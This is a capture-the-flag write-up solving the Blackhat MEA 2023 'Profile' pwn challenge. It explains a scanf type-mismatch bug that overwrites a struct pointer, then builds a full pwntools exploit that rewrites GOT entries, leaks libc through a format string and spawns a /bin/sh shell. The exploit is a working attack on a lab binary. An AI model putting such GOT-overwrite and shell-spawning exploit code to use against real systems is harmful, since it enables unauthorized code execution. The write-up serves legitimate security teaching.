- Published on
Blackhat MEA '23 Quals - Pwn - Profile
- Authors
- Name
- Ali Taqi Wajid
- @alitaqiwajid
Challenge Description
Solution
So, we can see that PIE is disabled and we have Partial RELRO
which means that we can overwrite the Global Offset Table (GOT). We can study more about Relocation Read-Only (RELRO) in this link.
Let's statically analyze the source code to check for any apparent vulnerabilities.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
struct person_t {
int id;
int age;
char *name;
};
void get_value(const char *msg, void *pval) {
printf("%s", msg);
if (scanf("%ld%*c", (long*)pval) != 1)
exit(1);
}
void get_string(const char *msg, char **pbuf) {
size_t n;
printf("%s", msg);
getline(pbuf, &n, stdin);
(*pbuf)[strcspn(*pbuf, "\n")] = '\0';
}
int main() {
struct person_t employee = { 0 };
employee.id = rand() % 10000;
get_value("Age: ", &employee.age);
if (employee.age < 0) {
puts("[-] Invalid age");
exit(1);
}
get_string("Name: ", &employee.name);
printf("----------------\n"
"ID: %04d\n"
"Name: %s\n"
"Age: %d\n"
"----------------\n",
employee.id, employee.name, employee.age);
free(employee.name);
exit(0);
}
__attribute__((constructor))
void setup(void) {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
srand(time(NULL));
}
So, we can see that the program is firstly initializing the employee
structure with a random id
and then asking for the age
and name
of the employee. Then it's printing the id
, name
and age
of the employee. Then it's freeing the name
of the employee. The bug exists in the get_value
function:
void get_value(const char *msg, void *pval) {
printf("%s", msg);
if (scanf("%ld%*c", (long*)pval) != 1)
exit(1);
}
The problem here is, we're using scanf
to invoke the long
format specifier to read the input. But, we're typecasting the void
pointer to long
pointer. This is a problem because the size of long
is 8 bytes and the size of int
is 4 bytes. So, we can overflow the id
variable and overwrite the age
variable. The invocation of get_value
function which is vulnerable is:
get_value("Age: ", &employee.age);
This gives us an integer overflow, but. Since, age
is part of the struct person_t
, it allows us to overwrite the name
attribute which is of type char*
meaning we can overwrite the pointer itself and make it point to anything that we can.
struct person_t {
int id;
int age;
char *name;
};
Because of this overwrite of the pointer, we can write whatever we want and essentially gaining an arbitrary write primitive.
Now, in order to exploit this, we must follow the following path:
- Overwrite a function in
GOT
to give us an N number of writes i.e. overwriting withmain
. - Overwrite another function in
GOT
withprintf
to give us anfsb
vulnerability - Leak the
libc
address using thefsb
vulnerability - Overwrite the
free
function inGOT
withsystem
to get a shell.
Theoretically, this is the path that we must follow. Let's try and implement each of these steps.
Overwriting a function in GOT to give us an N number of writes
For this to work, we must firstly start by the integer overflow we had found during our static analysis. Now, again, analysing the code, we can see that in the main, after invoking everything, we're calling free
, and free function does exist in the GOT
table. So, we can overwrite the free
function with main
which will give us an N
number of arbitary writes.
int main() {
struct person_t employee = { 0 };
employee.id = rand() % 10000;
get_value("Age: ", &employee.age);
if (employee.age < 0) {
puts("[-] Invalid age");
exit(1);
}
get_string("Name: ", &employee.name);
printf("----------------\n"
"ID: %04d\n"
"Name: %s\n"
"Age: %d\n"
"----------------\n",
employee.id, employee.name, employee.age);
free(employee.name);
exit(0);
}
Now, for integer overflow, I wrote a simple function in python that will take an address, and then bit shift it to the left by 32 bits and then add 1 to it, this will allow us to overflow the id
variable and overwrite the age
variable's pointer.
def overflow(addr: int):
return str((addr << 32) + 1)
Now, this will do the overflow, the next thing we need to do is to overwrite the data at the address i.e. we need to write the address of the function at this overflown address. The exploit.py
, so far becomes:
#!/usr/bin/env python3
from pwn import *
def overflow(addr: int):
return str((addr << 32) + 1)
elf = context.binary = ELF("./profile")
io = process()
p.sendlineafter(b"Age", overflow(elf.got.free))
p.sendlineafter(b"Name: ", p32(0x41424344))
Now, I ran this script using the GDB and set the breakpoints at free
and main
to check the values, the exploit.py script becomes:
#!/usr/bin/env python3
from pwn import *
def overflow(addr: int):
return str((addr << 32) + 1).encode()
context.terminal = ['tmux', 'splitw', '-h']
elf = context.binary = ELF("./profile")
# io = process()
gdbscript = '''
init-pwndbg
b *main
b *free
continue
'''
io = gdb.debug(['./profile'], gdbscript=gdbscript)
io.sendlineafter(b"Age", overflow(elf.got.free))
io.sendlineafter(b'Name: ', p32(0x41424344))
Now, when running this, i got the following output
One thing that I noticed, was that each address was of 3-bytes, (Notice
RSP
i.e.0x401461
), so for each of the address, I did[:-1]
to remove the last byte. This will allow us to write the address correctly.
Now, since we know that our integer overflow is allowing us to arbitrary overwrite free, instead of 0x41424344
, let's overwrite it to main, and see if we can get an N
number of writes.
## Keeping the rest of the exploit same:
io.sendlineafter(b'Name: ', p32(elf.sym.main))
We got an error, Invalid address 0xa0040138c
. The problem here is, as we already noticed before is that each address is of 3 bytes
, (once again noticing the: RSP 0x7ffd4060db58 —▸ 0x401461 (main+213)
). And the main address is: 0xa0040138c
. If we simply print out elf.sym.main
, we get:
log.info("Main Address: %#x" % elf.sym.main)
So, in order to fix this, we must limit the output to 3 bytes
only. We can do this by using the [:-1]
when 32-bit-packing the address or, [:3]
. Both of this will do the same thing. The updated exploit.py
becomes:
#!/usr/bin/env python3
from pwn import *
def overflow(addr: int):
return str((addr << 32) + 1).encode()
context.terminal = ['tmux', 'splitw', '-h']
elf = context.binary = ELF("./profile")
# io = process()
gdbscript = '''
init-pwndbg
b *main
b *free
continue
'''
io = gdb.debug(['./profile'], gdbscript=gdbscript)
io.sendlineafter(b"Age", overflow(elf.got.free))
io.sendlineafter(b'Name: ', p32(elf.sym.main)[:3])
By running this, we can see that free
has been overwritten with main
. Giving us an N
number of writes. Now, we can move on to the next step.
Overwriting another function in GOT with printf to give us an fsb vulnerability and hence gives us leaks
Now, since we have N
functions of arbitrary writes, we can easily overwrite as many primitives as we want.
During solving, I tried to overwrite exit with main, but it didn't work, it just crashed. So, to fix this, I overwrote free with main and then overwrote exit with main. And then, finally overwriting free with printf to give us the Format String Bug.
Now, firstly, what we need to do, is simply overwrite exit with main, as that will help us maintain the N
number of writes. After that, what we need to do, is overwrite free
with printf
because we control the name
variable, and this can give us the Format String Bug because we can directly pass the pointer's data as input to printf
function. Therefore, the next thing which we'll pass is simply "HELLO|%p|%p", to the Name
input, which will print HELLO and two addresses. (As we have overwritten free
with printf
).
So, keeping this in mind, the updated exploit.py
becomes:
#!/usr/bin/env python3
from pwn import *
def overflow(addr: int):
return str((addr << 32) + 1).encode()
context.terminal = ['tmux', 'splitw', '-h']
elf = context.binary = ELF("./profile")
io = process()
log.info("Overwriting free(%#x) with main(%#x)" % (elf.got.free, elf.sym.main))
io.sendlineafter(b"Age: ", overflow(elf.got.free))
io.sendlineafter(b'Name: ', p32(elf.sym.main)[:3])
log.info("Overwriting exit(%#x) with main(%#x)" % (elf.got.exit, elf.sym.main))
io.sendlineafter(b"Age: ", overflow(elf.got.exit))
io.sendlineafter(b'Name: ', p32(elf.sym.main)[:3])
log.info("Overwriting free(%#x) with printf(%#x)" % (elf.got.free, elf.sym.printf))
io.sendlineafter(b"Age: ", overflow(elf.got.free))
io.sendlineafter(b'Name: ', p32(elf.sym.printf)[:3])
io.sendlineafter(b"Age: ", b"1")
io.sendlineafter(b"Name: ", b"HELLO|%p|%p")
print(io.recv())
Well, we can now see that HELLO
, along with two memory addresses (one is nil
) has been printed out. This confirms that we have successfully overwritten free
with printf
and we have the Format String Bug.
Leaking the libc address using the fsb vulnerability
Now, we have a Format String Bug, which can give us address leaks. What we have to do now, is find the base-address of the binary or libc. So, for that, let's try and send 20 %p
's and see what we get.
io.sendlineafter(b"Name: ", b"HELLO|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|%p|")
Now, in order to see what these addresses are, we will attach gdb to our process, this will become:
gdb.attach(io, "init-pwndbg")
Now, we got quite a lot of addresses leaked. Now, let's see in gdb, firstly the memory mapping i.e. where each address is mapped to within the binary, we can use vmmap
command in pwndbg
Now, since we're looking for a libc leak, we need to find addresses that start with 0x7face
prefix
NOTE: This address will change at each run because of ASLR, therefore we simply need to subtract the leaked address with the current base of LIBC. On each launch, the leaked value will be
offset
away from the base of libc.
Now, we can see that 0x7face7104a37
belongs to libc and is found at offset 3
. Let's see in GDB, where this address is mapped to
Now, the base of libc is:
i.e.
p/x 0x7face7104a37-0x7face6ff0000
Now, at each run, the base of libc will 0x114a37
away from the leaked address. So, we can simply subtract the leaked address with 0x114a37
to get the base of libc. Our updated exploit becomes:
#!/usr/bin/env python3
from pwn import *
import re
def overflow(addr: int):
return str((addr << 32) + 1).encode()
context.terminal = ['tmux', 'splitw', '-h']
elf = context.binary = ELF("./profile")
libc = elf.libc
io = process()
log.info("Overwriting free(%#x) with main(%#x)" % (elf.got.free, elf.sym.main))
io.sendlineafter(b"Age: ", overflow(elf.got.free))
io.sendlineafter(b'Name: ', p32(elf.sym.main)[:3])
log.info("Overwriting exit(%#x) with main(%#x)" % (elf.got.exit, elf.sym.main))
io.sendlineafter(b"Age: ", overflow(elf.got.exit))
io.sendlineafter(b'Name: ', p32(elf.sym.main)[:3])
log.info("Overwriting free(%#x) with printf(%#x)" % (elf.got.free, elf.sym.printf))
io.sendlineafter(b"Age: ", overflow(elf.got.free))
io.sendlineafter(b'Name: ', p32(elf.sym.printf)[:3])
io.sendlineafter(b"Age: ", b"1")
io.sendlineafter(b"Name: ", b"HELLO|%3$p|")
data = io.recvuntil(b'|Age')
''' Getting only the address '''
leak = ''.join(re.findall("HELLO|(.*?)|Age", data.decode())).split('|')[-2]
leak = int(leak, 16)
libc.address = leak - 0x114a37
log.info("Libc base: %#x" % libc.address)
Overwriting the free function in GOT with system to get a shell
Now, we have the libc base, we can simply overwrite the free
function with system
to get a shell. The updated exploit becomes:
#!/usr/bin/env python3
from pwn import *
import re
def overflow(addr: int):
return str((addr << 32) + 1).encode()
context.terminal = ['tmux', 'splitw', '-h']
elf = context.binary = ELF("./profile")
libc = elf.libc
io = process()
log.info("Overwriting free(%#x) with main(%#x)" % (elf.got.free, elf.sym.main))
io.sendlineafter(b"Age: ", overflow(elf.got.free))
io.sendlineafter(b'Name: ', p32(elf.sym.main)[:3])
log.info("Overwriting exit(%#x) with main(%#x)" % (elf.got.exit, elf.sym.main))
io.sendlineafter(b"Age: ", overflow(elf.got.exit))
io.sendlineafter(b'Name: ', p32(elf.sym.main)[:3])
log.info("Overwriting free(%#x) with printf(%#x)" % (elf.got.free, elf.sym.printf))
io.sendlineafter(b"Age: ", overflow(elf.got.free))
io.sendlineafter(b'Name: ', p32(elf.sym.printf)[:3])
io.sendlineafter(b"Age: ", b"1")
io.sendlineafter(b"Name: ", b"HELLO|%3$p|")
data = io.recvuntil(b'|Age')
''' Getting only the address '''
leak = ''.join(re.findall("HELLO|(.*?)|Age", data.decode())).split('|')[-2]
leak = int(leak, 16)
libc.address = leak - 0x114a37
log.info("Libc base: %#x" % libc.address)
log.info("Overwriting free(%#x) with printf(%#x)" % (elf.got.free, elf.sym.printf))
io.sendlineafter(b": ", overflow(elf.got.free))
io.sendlineafter(b': ', p64(libc.sym["system"]))
io.clean()
io.interactive()
Now, running this, we will firstly type the age i.e. 69
(nice). And then, we will type the name as /bin/sh
and then we will get a shell.
let's add this in our script as well:
io.sendline("69")
io.sendline("/bin/sh")
Now, since we don't have access to the remote, let's setup the provided docker and run this exploit against the docker so that we can confirm that the exploit works remotely.
Therefore, the final exploit is:
#!/usr/bin/env python3
from pwn import *
import re
def overflow(addr: int):
return str((addr << 32) + 1).encode()
context.terminal = ['tmux', 'splitw', '-h']
elf = context.binary = ELF("./profile_patched")
libc = elf.libc
io = process()
# io = remote("localhost", 5000)
log.info("Overwriting free(%#x) with main(%#x)" % (elf.got.free, elf.sym.main))
io.sendlineafter(b"Age: ", overflow(elf.got.free))
io.sendlineafter(b'Name: ', p32(elf.sym.main)[:3])
log.info("Overwriting exit(%#x) with main(%#x)" % (elf.got.exit, elf.sym.main))
io.sendlineafter(b"Age: ", overflow(elf.got.exit))
io.sendlineafter(b'Name: ', p32(elf.sym.main)[:3])
log.info("Overwriting free(%#x) with printf(%#x)" % (elf.got.free, elf.sym.printf))
io.sendlineafter(b"Age: ", overflow(elf.got.free))
io.sendlineafter(b'Name: ', p32(elf.sym.printf)[:3])
io.sendlineafter(b"Age: ", b"1")
io.sendlineafter(b"Name: ", b"HELLO|%3$p|")
data = io.recvuntil(b'|Age')
''' Getting only the address '''
leak = ''.join(re.findall("HELLO|(.*?)|Age", data.decode())).split('|')[-2]
leak = int(leak, 16)
libc.address = leak - 0x114a37
log.info("Libc base: %#x" % libc.address)
log.info("Overwriting free(%#x) with printf(%#x)" % (elf.got.free, elf.sym.printf))
io.sendlineafter(b": ", overflow(elf.got.free))
io.sendlineafter(b': ', p64(libc.sym["system"]))
io.sendline(b"69")
io.sendline(b"/bin/sh")
io.clean()
io.interactive()
Overall, very good challenge. I learned quite a new few neat tricks.